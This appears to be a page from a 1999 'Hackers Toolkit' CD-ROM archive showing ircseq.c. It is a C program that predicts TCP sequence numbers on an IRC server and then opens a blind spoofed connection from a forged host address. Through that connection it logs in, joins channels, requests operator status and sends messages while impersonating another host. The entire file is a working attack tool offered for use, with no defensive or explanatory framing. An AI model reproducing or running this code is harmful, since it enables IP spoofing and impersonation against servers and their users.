home *** CD-ROM | disk | FTP | other *** search
/ Hackers Toolkit v2.0 / Hackers_Toolkit_v2.0.iso / HTML / archive / IRC / ircseq.c < prev    next >
C/C++ Source or Header  |  1999-11-04  |  6KB  |  204 lines

  1. /*                                */
  2. /* iRC SEQUENCER v0.0001 = MUTUALLY DEVELOPED BY Z AND VECT0R-X */
  3. /* Under Solaris try:                        */
  4. /*    gcc x.c -lsocket -lnsl -L/usr/ucblib -lucb        */
  5.  
  6. #include "tcpip.h"
  7.  
  8. unsigned long sp, sourceport   = 23;
  9. unsigned long dest, spoofed, src, nseq, tarport, temp;
  10. char *nickn, *userid, *tempz, *message, *channel, *ircname, *current;
  11. char heytew[255], hey[255], str[255], *string, *parseme;
  12. char buf[4096];
  13. int len, talk, rec, sen, i=1, adder, stringlen=0;
  14. struct sockaddr_in addr, spoofedaddr;
  15. struct hostent *host;
  16.  
  17. void main(int argc, char *argv[])
  18. {
  19.     unsigned long fakesequence = 408618+getpid();
  20.  
  21.     system("clear");
  22.     printf("iRC SEQUENCE - Writtin by z and vect0rx.\n\n");
  23.  
  24.     if (argc != 8) {
  25.         fprintf(stderr,"Usage: %s <server> <port> <nick> <userid> <spoof> <ircname> <channel>\n\n",argv[0]);
  26.         fprintf(stderr,"        <server> - Site spoof is attempted on.\n");
  27.         fprintf(stderr,"          <port> - Port to access on <server>.\n");
  28.         fprintf(stderr,"          <nick> - Nickname for spoof to user.\n");
  29.         fprintf(stderr,"        <userid> - Account name of spoof.\n");
  30.         fprintf(stderr,"         <spoof> - Host to appear from.\n");
  31.         fprintf(stderr,"           <ircname> - Default is (*Unknown*).\n");
  32.         fprintf(stderr,"    (w/o #)<channel> - Initial channel (0 for none).\n");
  33.         exit(1);
  34.     }
  35.     tarport = atoi(argv[2]);
  36.     nickn = argv[3];
  37.     userid = argv[4];
  38.     ircname = argv[6];
  39.     channel = argv[7];        
  40.  
  41.     memset(&spoofedaddr,0,sizeof(spoofedaddr));
  42.     spoofedaddr.sin_family = AF_INET;
  43.     if ((spoofedaddr.sin_addr.s_addr = inet_addr(argv[5])) == -1) {
  44.         if ((host = gethostbyname(argv[5])) == NULL) {
  45.             printf("Unknown host %s.\n",argv[5]);
  46.             exit(1);
  47.         }
  48.         spoofedaddr.sin_family = host->h_addrtype;
  49.         memcpy((caddr_t) &spoofedaddr.sin_addr,host->h_addr,host->h_length);
  50.     }
  51.     memcpy(&spoofed,(char *)&spoofedaddr.sin_addr.s_addr,4);
  52.  
  53.     memset(&addr,0,sizeof(addr));
  54.     addr.sin_family = AF_INET;
  55.     if ((addr.sin_addr.s_addr = inet_addr(argv[1])) == -1) {
  56.         if ((host = gethostbyname(argv[1])) == NULL) {
  57.             printf("Unknown host %s.\n",argv[1]);
  58.             exit(1);
  59.         }
  60.         addr.sin_family = host->h_addrtype;
  61.         memcpy((caddr_t) &addr.sin_addr,host->h_addr,host->h_length);
  62.     }
  63.     memcpy(&dest,(char *)&addr.sin_addr.s_addr,4);
  64.  
  65.     if ((rec = socket(AF_INET, SOCK_RAW, IPPROTO_TCP)) < 0) {
  66.         perror("error: recv socket");
  67.         exit(1);
  68.     }
  69.  
  70.     if ((sen = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) {
  71.         perror("error: send socket");
  72.         exit(1);
  73. }
  74. /*    
  75.     sen = openintf("eth0");
  76. */
  77.  
  78.     gethostname(buf, 128);
  79.     if ((host=gethostbyname(buf))==NULL) {
  80.         fprintf(stderr, "Can't get my hostname!?\n");
  81.         exit(1);
  82.     }
  83.     memcpy(&src,host->h_addr,4);
  84.  
  85. sp=sourceport;
  86. for(i=0;i<3;i++) {
  87.         sendtcppacket(sen, src, dest, &addr, TH_SYN, ++sourceport,
  88.             tarport, fakesequence, 0, NULL, 0);
  89.  
  90.     for (;;) {
  91.         gettcppacket(rec,buf,sizeof(buf));
  92.         ip = (struct iphdr *) buf;
  93.         if (ip->saddr != dest) continue;
  94.         len = ip->ihl << 2;
  95.         tcp = (struct tcphdr *) (buf+len);
  96.             if (ntohs(tcp->th_dport)==sourceport && ntohs(tcp->th_sport)==tarport) {
  97.                     nseq=htonl(tcp->th_seq);
  98.             adder=nseq-temp;
  99.             temp=nseq;
  100.             printf("Sequence returned is %lu, Offset is %lu\n",
  101.                 nseq, adder);
  102.             sendtcppacket(sen, src, dest, &addr, TH_RST, sourceport,
  103.                     tarport, fakesequence, 0, NULL, 0);
  104.         break;
  105.             }
  106.     }
  107.     nseq+=adder;
  108. }
  109.         
  110.     sendtcppacket(sen,spoofed,dest,&spoofedaddr,TH_SYN,sp,
  111.             tarport,fakesequence,0,NULL,0);
  112.         printf("SYN Devilered, Waiting on SYN/ACK reply.\n"); fflush(stdout);
  113.     usleep(10000);
  114.         
  115.     printf("Using %lu for Offset.\n", adder);
  116.     printf("Next packet will be %lu.\n", nseq);
  117.     printf("%s!%s@%s on server %s:%d on channel %s\n",
  118.             nickn, userid, argv[5], argv[1], tarport, channel);
  119.  
  120.     sendtcppacket(sen,spoofed,dest,&spoofedaddr,TH_ACK,sp,
  121.             tarport,++fakesequence,++nseq,NULL,0);
  122.         printf("ACK Devilered, Assuming safe to send data.\n"); fflush(stdout);
  123.         usleep(5000);
  124.  
  125.         printf("Sending irc client handshake for %s.\n", nickn); fflush(stdout);
  126.     sprintf(str,"USER %s # # :%s\r\nNICK %s\r\nJOIN #%s\r\n", 
  127.     userid, ircname, nickn, channel);
  128.         stringlen = strlen(str);
  129.     sendtcppacket(sen,spoofed,dest,&spoofedaddr,TH_ACK|TH_PUSH,sp,
  130.             tarport,fakesequence,nseq,str,stringlen);
  131.         fakesequence+=stringlen;
  132.     current = channel;
  133.  
  134.     for(;;) {
  135.           printf("%s:#%s> ", nickn, channel); fflush(stdout);
  136.           parseme = fgets(str, 255, stdin);
  137.         switch(parseme[0]) {
  138.         case '/' :
  139.           talk=0;
  140.           switch(parseme[1]) {
  141.                case 'r' :           
  142.                   printf("RAW:> "); fflush(stdout);
  143.                         parseme = fgets(str, 255, stdin); 
  144.                    sprintf(str, parseme);
  145.                   break;
  146.                case 'o' : 
  147.                   printf("OP WHO:> "); fflush(stdout);
  148.                         parseme = fgets(str, 255, stdin); 
  149.                 sprintf(hey, "%s", parseme);
  150.                       sprintf(str, "MODE #%s +o %s", 
  151.                         channel, hey);
  152.                   break;
  153.                case 'm' : 
  154.                   printf("MSG WHO:> "); fflush(stdout);
  155.                         parseme = fgets(str, 255, stdin);
  156.                   strncpy(hey, parseme, strlen(parseme)-1); 
  157.                   printf("MSG %s WHAT:> ",hey); fflush(stdout);
  158.                         tempz = fgets(str, 255, stdin); 
  159.         sprintf(heytew, "%s", tempz);
  160.                       sprintf(str, "PRIVMSG %s :%s", hey, heytew);
  161.                   break;
  162.                case 'j' : 
  163.                   printf("JOIN:> "); fflush(stdout);
  164.                         parseme = fgets(str, 255, stdin); 
  165.                   strncpy(hey, parseme, strlen(parseme));
  166.                   strncpy(channel, parseme, strlen(parseme)-2);                  
  167.                       sprintf(str, "JOIN :#%s", hey);
  168.                   break;
  169.                case 'l' : 
  170.                   printf("PART:> "); fflush(stdout);
  171.                         parseme = fgets(str, 255, stdin); 
  172.         sprintf(hey, "%s", parseme);
  173.                       sprintf(str, "PART :%s", hey);
  174.                   break;
  175.                case 'q' : 
  176.                   printf("SIGNOFF:> "); fflush(stdout);
  177.                         parseme = fgets(str, 255, stdin); 
  178.             sprintf(hey, "%s", parseme);
  179.                   sprintf(str, "QUIT :%s", hey);
  180.                   break;
  181.                default:
  182.             printf("Invalid.\r\n");
  183.             break;
  184.           }
  185.           break; 
  186.         default:
  187.         talk++;
  188.         break;
  189.         }
  190.         if (talk) {
  191.         sprintf(hey, "%s", parseme);
  192.         sprintf(str,"PRIVMSG #%s :%s\n", channel, hey); 
  193.         }
  194.          stringlen = strlen(str);
  195.         printf("SENT TO SERVER:> %s",str);
  196.         sendtcppacket(sen,spoofed,dest,&spoofedaddr,TH_ACK|TH_PUSH,sp,
  197.             tarport,fakesequence,nseq,str,stringlen);
  198.         fakesequence+=stringlen;
  199.     }
  200.  
  201. }
  202. /*
  203. */
  204.